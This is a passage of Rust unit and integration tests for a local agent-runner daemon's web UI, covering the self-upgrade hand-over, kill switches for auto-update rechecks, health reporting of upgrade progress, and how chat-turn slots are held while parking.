20606 let guard = ui
20607 .begin_talk_turn(&id)
20608 .expect("web claim")
20609 .expect("free again");
20610 drop(guard);
20611 }
20612
20613 #[test]
20614 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
20615 let home = TempDir::new().expect("temp home");
20616 let talks = Talks::at(home.path().join("talks"));
20617 let ui = Ui::new(
20618 Queue::at(home.path().join("queue")),
20619 Questions::at(home.path().join("questions")),
20620 talks.clone(),
20621 home.path().join("runs"),
20622 home.path().to_path_buf(),
20623 PathBuf::from("/repo"),
20624 )
20625 .with_worktrees_root(home.path().join("wt"));
20626 let id = "20260901-000000-order";
20627 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20628 let slots = ui.talk_turns.lock().unwrap();
20630 let dropper = std::thread::spawn(move || drop(turn));
20631 let start = std::time::Instant::now();
20632 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
20633 std::thread::sleep(Duration::from_millis(5));
20634 }
20635 assert!(!talks.turn_held(id), "the lease is released first");
20636 assert!(slots.live.contains(id), "the slot is still held meanwhile");
20637 drop(slots);
20638 dropper.join().expect("join");
20639 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
20640 }
20641
20642 #[tokio::test]
20643 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
20644 let fx = Fixture::start().await;
20645 let mut beat = crate::daemon::Status::new();
20649 beat.pid = 4321;
20650 beat.updated_at = jiff::Timestamp::now();
20651 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20652 .expect("publish a heartbeat");
20653
20654 let res = fx.post("/api/upgrade", None).await;
20655 assert_eq!(res.status, 409);
20656 let err = res.json()["error"].as_str().unwrap().to_owned();
20657 assert!(err.contains("4321"), "the refusal names the owner: {err}");
20658 assert!(err.contains("old one against the same queue"), "{err}");
20659 }
20660
20661 #[test]
20668 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
20669 assert!(!should_spawn_recheck(&crate::config::Update {
20670 mode: UpdateMode::Off,
20671 interval: None,
20672 }));
20673
20674 unsafe {
20677 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20678 }
20679 let killed = should_spawn_recheck(&crate::config::Update {
20680 mode: UpdateMode::Notify,
20681 interval: None,
20682 });
20683 unsafe {
20684 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20685 }
20686 assert!(
20687 !killed,
20688 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
20689 one-time startup check"
20690 );
20691
20692 assert!(should_spawn_recheck(&crate::config::Update {
20693 mode: UpdateMode::Notify,
20694 interval: None,
20695 }));
20696 }
20697
20698 #[test]
20704 fn recheck_poll_period_tracks_a_short_configured_interval() {
20705 let short = crate::config::Update {
20706 mode: UpdateMode::Notify,
20707 interval: Some("1m".to_owned()),
20708 };
20709 let period = recheck_poll_period(&short);
20710 assert!(
20711 period <= Duration::from_secs(30),
20712 "a one-minute interval must wake the task far sooner than the \
20713 default ceiling, or the deck would not notice within the \
20714 interval the operator configured: got {period:?}"
20715 );
20716
20717 let default = crate::config::Update {
20718 mode: UpdateMode::Notify,
20719 interval: None,
20720 };
20721 assert_eq!(
20722 recheck_poll_period(&default),
20723 UPDATE_RECHECK_POLL_MAX,
20724 "the default day-long interval should poll at the (capped) \
20725 ceiling rather than needlessly often"
20726 );
20727 }
20728
20729 #[test]
20737 fn recheck_skips_the_network_before_the_interval_elapses() {
20738 let dir = TempDir::new().expect("temp dir");
20739 let path = dir.path().join("state.json");
20740 let state = kaishin::UpdateCheckState {
20741 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
20742 last_known_latest: None,
20743 last_known_url: None,
20744 };
20745 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
20746
20747 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
20748 assert!(
20749 !update_recheck_due(&checker, None),
20750 "a check made moments ago must not be repeated before the \
20751 configured interval elapses"
20752 );
20753 }
20754
20755 #[test]
20761 fn recheck_defers_to_an_upgrade_already_in_flight() {
20762 let dir = TempDir::new().expect("temp dir");
20763 let path = dir.path().join("state.json");
20764 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
20765 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
20766
20767 assert!(
20768 !update_recheck_due(&checker, Some(&progress)),
20769 "a recheck must not run while an upgrade this deck started is \
20770 still moving"
20771 );
20772 }
20773
20774 #[tokio::test]
20775 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
20776 unsafe {
20788 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20789 }
20790 let fx = Fixture::start().await;
20791 let res = fx.post("/api/upgrade", None).await;
20792 unsafe {
20793 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20794 }
20795 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20796 let body = res.json();
20797 assert!(body["to"].is_null(), "there was no release to move to");
20798 assert!(body["parked"].is_null(), "and nothing was parked");
20799 assert!(
20800 body["detail"]
20801 .as_str()
20802 .unwrap()
20803 .contains("disabled by MAGI_NO_AUTOUPDATE"),
20804 "{body:?}"
20805 );
20806 }
20807
20808 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
20809 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
20810 p.stage = stage;
20811 p
20812 }
20813
20814 #[test]
20815 fn busy_stages_match_the_ui_set() {
20816 use crate::updater::Stage;
20817 assert!(APP_JS.contains(
20818 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
20819 ));
20820 for s in [
20821 Stage::Downloading,
20822 Stage::Replaced,
20823 Stage::Parking,
20824 Stage::Restarting,
20825 ] {
20826 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
20827 }
20828 for s in [Stage::Done, Stage::Failed] {
20829 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
20830 }
20831 assert!(upgrade_in_motion(None).is_none());
20832 }
20833
20834 #[tokio::test]
20835 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
20836 use crate::updater::Stage;
20837 for stage in [
20838 Stage::Downloading,
20839 Stage::Replaced,
20840 Stage::Parking,
20841 Stage::Restarting,
20842 ] {
20843 let fx = Fixture::start().await;
20844 let seeded = seeded_progress(stage);
20845 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
20846 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20847 .expect("read");
20848
20849 let res = fx.post("/api/upgrade", None).await;
20850 assert_eq!(res.status, 409, "{stage:?}");
20851 let err = res.json()["error"].as_str().unwrap().to_owned();
20852 assert!(err.contains("already in progress"), "{err}");
20853 assert!(err.contains(stage.as_str()), "{err}");
20854
20855 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20856 .expect("read");
20857 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
20858 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
20859 .unwrap_or_default();
20860 assert!(!log.contains("signalling HANDOVER"), "{log}");
20861 }
20862 }
20863
20864 #[test]
20865 fn upgrade_retry_timing_only_parses_known_diagnostics() {
20866 assert_eq!(
20867 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
20868 Some(3723)
20869 );
20870 assert_eq!(
20871 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
20872 Some(60)
20873 );
20874 assert_eq!(
20875 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
20876 Some(0)
20877 );
20878 for message in [
20879 "permission denied",
20880 "GitHub API rate limit exceeded",
20881 "GitHub rate limit (resets in unknown)",
20882 "GitHub rate limit (resets in 18446744073709551615d)",
20883 ] {
20884 assert_eq!(upgrade_retry_after(message), None, "{message}");
20885 }
20886 }
20887
20888 #[tokio::test]
20889 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
20890 let home = TempDir::new().unwrap();
20891 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
20892 ui.start_loop(None).unwrap();
20893 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
20894 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
20895 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
20896 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
20897 let response = finish_upgrade_request(&ui, result);
20898 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
20899 assert_eq!(response.headers()["retry-after"], "120");
20900 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
20901 .await
20902 .unwrap();
20903 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
20904 assert!(body["error"].as_str().unwrap().contains(reason));
20905 assert_eq!(body["retry_after_secs"], 120);
20906 assert!(body["retry_at"].as_u64().is_some());
20907 for _ in 0..2 {
20908 let view = health(State(ui.clone())).await.unwrap().0;
20909 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
20910 assert_eq!(failure, body);
20911 }
20912 assert_eq!(
20913 std::fs::read(updater::progress_path(home.path())).unwrap(),
20914 before
20915 );
20916 assert!(!ui.lock_loop().resume_after_handover);
20917 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
20918 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
20919 let gate = ui.upgrade_gate.lock().await;
20921 assert_eq!(
20922 upgrade_post(State(ui.clone())).await.status(),
20923 StatusCode::CONFLICT
20924 );
20925 drop(gate);
20926 assert!(
20927 health(State(ui.clone()))
20928 .await
20929 .unwrap()
20930 .0
20931 .upgrade_request_error
20932 .is_some()
20933 );
20934 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
20935 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
20936 assert!(
20937 health(State(ui.clone()))
20938 .await
20939 .unwrap()
20940 .0
20941 .upgrade_request_error
20942 .is_none()
20943 );
20944 let live = ui.lock_loop().live.take().unwrap();
20945 live.stop.stop();
20946 live.handle.await.unwrap();
20947 }
20948
20949 #[tokio::test]
20950 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
20951 use crate::updater::Stage;
20952 let repo = TempDir::new().expect("repo dir");
20953 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20954 .expect("write magi.toml");
20955 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20956 for stage in [Stage::Done, Stage::Failed] {
20957 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
20958 let res = fx.post("/api/upgrade", None).await;
20959 assert_eq!(res.status, 200, "{stage:?}");
20960 }
20961 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
20963 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
20964 }
20965
20966 #[tokio::test]
20967 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
20968 let repo = TempDir::new().expect("repo dir");
20984 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20985 .expect("write magi.toml");
20986 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20987
20988 let res = fx.post("/api/upgrade", None).await;
20994 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20995 let body = res.json();
20996 assert!(body["to"].is_null(), "there was no release to move to");
20997 assert!(body["parked"].is_null(), "and nothing was parked");
20998 assert!(
20999 body["detail"]
21000 .as_str()
21001 .unwrap()
21002 .contains("nothing restarted"),
21003 "{body:?}"
21004 );
21005 }
21006
21007 #[tokio::test]
21008 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
21009 let repo = TempDir::new().expect("repo dir");
21014 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21015 .expect("write magi.toml");
21016 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21017
21018 let health = fx.get("/api/health").await.json();
21019 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
21020 assert_eq!(
21021 health["update"]["available"], false,
21022 "checking is off, which reads as \"unknown\", not \"none\""
21023 );
21024 assert!(health["update"]["to"].is_null());
21025 assert!(
21026 health["upgrade"].is_null(),
21027 "nothing has ever asked this deck to upgrade"
21028 );
21029 }
21030
21031 #[tokio::test]
21032 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
21033 let fx = Fixture::start().await;
21034 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
21035
21036 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21037 progress.parked_run = Some("20260905-000000-cd51".to_owned());
21038 progress.advance(crate::updater::Stage::Parking);
21039 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21040
21041 let health = fx.get("/api/health").await.json();
21042 assert_eq!(health["upgrade"]["stage"], "parking");
21043 assert_eq!(health["upgrade"]["from"], "0.5.1");
21044 assert_eq!(health["upgrade"]["to"], "0.5.2");
21045 let waiting_on = health["upgrade"]["waiting_on"]
21046 .as_str()
21047 .expect("waiting_on is set while parking a known run");
21048 assert!(waiting_on.contains("cd51"), "{waiting_on}");
21049 assert!(waiting_on.contains("implementing"), "{waiting_on}");
21050 }
21051
21052 #[tokio::test]
21053 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
21054 let fx = Fixture::start().await;
21055 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21056 progress.advance(crate::updater::Stage::Done);
21057 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21058
21059 let health = fx.get("/api/health").await.json();
21060 assert_eq!(health["upgrade"]["stage"], "done");
21061 assert!(
21062 health["upgrade"]["waiting_on"].is_null(),
21063 "nothing to wait on once it is done"
21064 );
21065 }
21066
21067 #[tokio::test]
21068 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
21069 let home = TempDir::new().expect("temp home");
21070 let runs = home.path().join("runs");
21071 std::fs::create_dir_all(&runs).expect("runs dir");
21072 let ui = Ui::new(
21073 Queue::at(home.path().join("queue")),
21074 Questions::at(home.path().join("questions")),
21075 Talks::at(home.path().join("talks")),
21076 runs,
21077 home.path().to_path_buf(),
21078 PathBuf::from("/repo/magi"),
21079 )
21080 .with_launch(launch_idle);
21081 let looping = ui.looping();
21082 let turns = ui.turns();
21083 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21084 .await
21085 .expect("bind loopback");
21086 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21087
21088 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21089 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21090
21091 hand_over(
21092 home.path(),
21093 &looping,
21094 &turns,
21095 &|_: &[String]| Duration::from_secs(5),
21096 served,
21097 |_| Ok(1),
21098 )
21099 .await
21100 .expect("hand over");
21101
21102 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
21103 assert_eq!(
21104 after.stage,
21105 crate::updater::Stage::Restarting,
21106 "hand_over owns the record through parking and up to restarting; \
21107 the successor is what finishes it"
21108 );
21109 }
21110
21111 #[tokio::test]
21114 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
21115 for fail in [false, true] {
21116 let home = TempDir::new().expect("temp home");
21117 let ui = idle_ui(&home);
21118 let looping = ui.looping();
21119 let turns = ui.turns();
21120 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21121 .await
21122 .expect("bind loopback");
21123 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21124 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21125 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21126
21127 let calls = std::sync::atomic::AtomicUsize::new(0);
21128 let outcome = hand_over(
21129 home.path(),
21130 &looping,
21131 &turns,
21132 &|_: &[String]| Duration::from_secs(5),
21133 served,
21134 |_| {
21135 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21136 if fail {
21137 anyhow::bail!("no exec")
21138 } else {
21139 Ok(4242)
21140 }
21141 },
21142 )
21143 .await;
21144 assert_eq!(outcome.is_err(), fail);
21145 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21146
21147 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
21148 .expect("upgrade.log is written under the home");
21149 for step in [
21150 "entered",
21151 "finish_loop",
21152 "listener released",
21153 "starting the successor",
21154 ] {
21155 assert!(log.contains(step), "missing `{step}` in:\n{log}");
21156 }
21157 assert!(
21158 log.contains(if fail { "did not start" } else { "pid 4242" }),
21159 "{log}"
21160 );
21161 }
21162 }
21163
21164 #[tokio::test]
21167 async fn the_handover_signal_wakes_one_waiter_once() {
21168 let signal = Notify::new();
21169 signal.notify_one();
21171 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
21172 .await
21173 .expect("an early signal is still seen");
21174 assert!(
21176 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
21177 .await
21178 .is_err(),
21179 "a consumed signal must not wake a second time"
21180 );
21181 let signal = std::sync::Arc::new(signal);
21183 let waiter = tokio::spawn({
21184 let signal = std::sync::Arc::clone(&signal);
21185 async move { wait_for_handover(&signal).await }
21186 });
21187 tokio::time::sleep(Duration::from_millis(20)).await;
21188 assert!(!waiter.is_finished(), "nothing was signalled yet");
21189 signal.notify_one();
21190 tokio::time::timeout(Duration::from_secs(5), waiter)
21191 .await
21192 .expect("a late signal wakes the waiter")
21193 .expect("join");
21194 }
21195
21196 #[tokio::test]
21197 async fn health_says_how_long_a_handover_has_been_stuck() {
21198 let fx = Fixture::start().await;
21199 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21200 progress.advance(crate::updater::Stage::Replaced);
21201 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
21202 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21203
21204 let health = fx.get("/api/health").await.json();
21205 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
21206 assert!(stuck >= 600, "{stuck}");
21207 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
21208 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
21209 }
21210
21211 #[tokio::test]
21212 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
21213 let home = tempfile::tempdir().expect("temp home");
21214 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21215 progress.advance(crate::updater::Stage::Parking);
21216 crate::updater::write_progress(home.path(), &progress).expect("seed");
21217 let mut again = progress.clone();
21219 again.advance(crate::updater::Stage::Replaced);
21220 crate::updater::write_progress(home.path(), &again).expect("replaced");
21221 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21222 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
21223 let after = crate::updater::read_progress(home.path()).expect("record");
21224 assert_eq!(after.stage, crate::updater::Stage::Parking);
21225 }
21226
21227 #[tokio::test]
21228 async fn health_does_not_call_a_live_parking_wait_stuck() {
21229 let fx = Fixture::start().await;
21230 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21231 progress.parked_run = Some("20260905-000000-cd51".to_owned());
21232 progress.advance(crate::updater::Stage::Parking);
21233 let hours = Duration::from_secs(3 * 3600);
21234 progress.started_at = Timestamp::now() - hours;
21235 progress.updated_at = Timestamp::now() - hours;
21236 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21237 let _lease = crate::updater::LeaseGuard::enter(
21238 fx.home.path(),
21239 Some("20260905-000000-cd51".to_owned()),
21240 );
21241
21242 let health = fx.get("/api/health").await.json();
21243 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
21244 assert!(health["upgrade"]["stuck_kind"].is_null());
21245 assert_eq!(health["upgrade"]["handover_alive"], true);
21246 let waiting_on = health["upgrade"]["waiting_on"]
21247 .as_str()
21248 .expect("waiting_on");
21249 assert!(waiting_on.contains("cd51"), "{waiting_on}");
21250 }
21251
21252 fn idle_ui(home: &TempDir) -> Ui {
21253 let runs = home.path().join("runs");
21254 std::fs::create_dir_all(&runs).expect("runs dir");
21255 Ui::new(
21256 Queue::at(home.path().join("queue")),
21257 Questions::at(home.path().join("questions")),
21258 Talks::at(home.path().join("talks")),
21259 runs,
21260 home.path().to_path_buf(),
21261 PathBuf::from("/repo/magi"),
21262 )
21263 .with_launch(launch_idle)
21264 }
21265
21266 async fn park_fixture(
21267 home: &TempDir,
21268 ) -> (
21269 Ui,
21270 Arc<Mutex<LoopState>>,
21271 Arc<Mutex<TalkTurns>>,
21272 tokio::task::JoinHandle<std::io::Result<()>>,
21273 ) {
21274 let ui = idle_ui(home);
21275 let looping = ui.looping();
21276 let turns = ui.turns();
21277 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21278 .await
21279 .expect("bind loopback");
21280 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
21281 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21282 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21283 (ui, looping, turns, served)
21284 }
21285
21286 #[tokio::test]
21290 async fn hand_over_waits_for_a_running_chat_turn() {
21291 let home = TempDir::new().expect("temp home");
21292 let (ui, looping, turns, served) = park_fixture(&home).await;
21293 let ui = Arc::new(ui);
21294 let id = "20260901-000000-chat";
21295 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21296
21297 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
21298 let handover = tokio::spawn({
21299 let home = home.path().to_path_buf();
21300 let turns = Arc::clone(&turns);
21301 let calls = Arc::clone(&calls);
21302 async move {
21303 hand_over(
21304 &home,
21305 &looping,
21306 &turns,
21307 &|_: &[String]| Duration::from_secs(60),
21308 served,
21309 move |_| {
21310 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21311 Ok(1)
21312 },
21313 )
21314 .await
21315 }
21316 });
21317
21318 let waiting = async {
21319 for _ in 0..200 {
21320 if crate::updater::read_progress(home.path())
21321 .is_some_and(|p| p.parked_talks == [id.to_owned()])
21322 {
21323 return;
21324 }
21325 tokio::time::sleep(Duration::from_millis(25)).await;
21326 }
21327 panic!("the park never named the chat turn");
21328 };
21329 waiting.await;
21330 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
21331
21332 let refused = ui.begin_talk_turn("20260901-000000-late").err();
21335 assert!(
21336 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
21337 "a direct start says an upgrade is in progress"
21338 );
21339 assert!(
21340 ui.begin_queued_talk_turn("20260901-000000-late")
21341 .expect("queued claim")
21342 .is_none()
21343 );
21344 assert!(matches!(
21345 ui.begin_talk_turn_unless_pending("20260901-000000-late")
21346 .expect("start"),
21347 TalkTurnStart::Busy
21348 ));
21349 assert_eq!(turns.lock().unwrap().live.len(), 1);
21350
21351 let progress = crate::updater::read_progress(home.path()).expect("progress");
21353 let view = upgrade_progress_view(&ui, progress);
21354 assert!(
21355 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
21356 "{:?}",
21357 view.waiting_on
21358 );
21359
21360 assert!(!handover.is_finished());
21361 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
21362 drop(turn);
21363 handover.await.expect("join").expect("hand over");
21364 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21365 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
21366 }
21367
21368 #[tokio::test]
21371 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
21372 let home = TempDir::new().expect("temp home");
21373 let (ui, looping, turns, served) = park_fixture(&home).await;
21374 let ui = Arc::new(ui);
21375 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
21377 lock_or_recover(&looping).live = Some(Live {
21378 stop: daemon::Stop::new(),
21379 handle: tokio::spawn(async move {
21380 let _ = loop_ended.await;
21381 }),
21382 opts: daemon::Opts::default(),
21383 });
21384
21385 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
21386 let handover = tokio::spawn({
21387 let home = home.path().to_path_buf();
21388 let turns = Arc::clone(&turns);
21389 let calls = Arc::clone(&calls);
21390 async move {
21391 hand_over(
21392 &home,
21393 &looping,
21394 &turns,
21395 &|_: &[String]| Duration::from_secs(60),
21396 served,
21397 move |_| {
21398 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21399 Ok(1)
21400 },
21401 )
21402 .await
21403 }
21404 });
21405
21406 let reached = async {
21407 for _ in 0..200 {
21408 if crate::updater::read_progress(home.path())
21409 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
21410 {
21411 return;
21412 }
21413 tokio::time::sleep(Duration::from_millis(25)).await;
21414 }
21415 panic!("the hand-over never reached parking");
21416 };
21417 reached.await;
21418
21419 assert!(!turns.lock().unwrap().parking);
21421 let turn = ui
21422 .begin_talk_turn("20260901-000000-chat")
21423 .expect("claim")
21424 .expect("a turn can start while the loop parks");
21425
21426 end_loop.send(()).expect("loop still waiting");
21428 for _ in 0..200 {
21429 if turns.lock().unwrap().parking {
21430 break;
21431 }
21432 tokio::time::sleep(Duration::from_millis(25)).await;
21433 }
21434 assert!(
21435 turns.lock().unwrap().parking,
21436 "closed once the loop is done"
21437 );
21438 let refused = ui.begin_talk_turn("20260901-000000-late").err();
21439 assert!(
21440 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
21441 "no turn starts once the loop is done"
21442 );
21443 assert!(
21444 ui.begin_queued_talk_turn("20260901-000000-late")
21445 .expect("queued claim")
21446 .is_none()
21447 );
21448 assert!(!handover.is_finished());
21449 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
21450
21451 drop(turn);
21452 handover.await.expect("join").expect("hand over");
21453 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21454 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
21455 }
21456
21457 #[tokio::test]
21460 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
21461 let home = TempDir::new().expect("temp home");
21462 let (ui, looping, turns, served) = park_fixture(&home).await;
21463 let id = "20260901-000000-stuk";
21464 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21465
21466 let calls = std::sync::atomic::AtomicUsize::new(0);
21467 hand_over(
21468 home.path(),
21469 &looping,
21470 &turns,
21471 &|_: &[String]| Duration::from_millis(300),
21472 served,
21473 |_| {
21474 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21475 Ok(1)
21476 },
21477 )
21478 .await
21479 .expect("hand over");
21480 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21481
21482 let progress = crate::updater::read_progress(home.path()).expect("progress");
21483 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
21484 assert!(
21485 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
21486 "{:?}",
21487 progress.detail
21488 );
21489 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
21490 assert!(
21491 log.contains("handing over anyway") && log.contains(id),
21492 "{log}"
21493 );
21494 }
21495
21496 #[tokio::test]
21499 async fn drain_loop_starts_no_turn_while_parking() {
21500 let tmp = TempDir::new().expect("tempdir");
21501 let repo = tmp.path().join("repo");
21502 std::fs::create_dir_all(&repo).expect("repo dir");
21503 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
21504 let home = TempDir::new().expect("temp home");
21505 let talks = Talks::at(home.path().join("talks"));
21506 let ui = Ui::new(
21507 Queue::at(home.path().join("queue")),
21508 Questions::at(home.path().join("questions")),
21509 talks.clone(),
21510 home.path().join("runs"),
21511 home.path().to_path_buf(),
21512 repo.clone(),
21513 )
21514 .with_worktrees_root(home.path().join("wt"));
21515 let cfg = config_for(&repo).await.expect("discover config");
21516 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
21517 let id = talk.id.clone();
21518 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
21519 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
21520 let turns = ui.turns();
21521 let parking = ParkingTurns::begin(&turns);
21522
21523 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
21524
21525 assert!(
21526 turns.lock().unwrap().live.is_empty(),
21527 "the slot is given up"
21528 );
21529 let fresh = talks.get(&id).expect("talk");
21530 assert_eq!(fresh.pending, "later", "the draft is still queued");
21531 assert!(fresh.turns.is_empty(), "no turn ran");
21532 drop(parking);
21533 }
21534
21535 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
21537 let looping = ui.looping();
21538 let turns = ui.turns();
21539 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21540 .await
21541 .expect("bind loopback");
21542 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21543 let told = std::sync::Mutex::new(None);
21544 hand_over(
21545 home.path(),
21546 &looping,
21547 &turns,
21548 &|_: &[String]| Duration::from_secs(5),
21549 served,
21550 |resume| {
21551 *told.lock().unwrap() = Some(resume);
21552 Ok(1)
21553 },
21554 )
21555 .await
21556 .expect("hand over");
21557 told.into_inner().unwrap().expect("successor was started")
21558 }
21559
21560 #[tokio::test]
21561 async fn a_running_loop_is_resumed_by_the_successor() {
21562 let home = TempDir::new().expect("temp home");
21563 let ui = idle_ui(&home);
21564 ui.start_loop(None).expect("start");
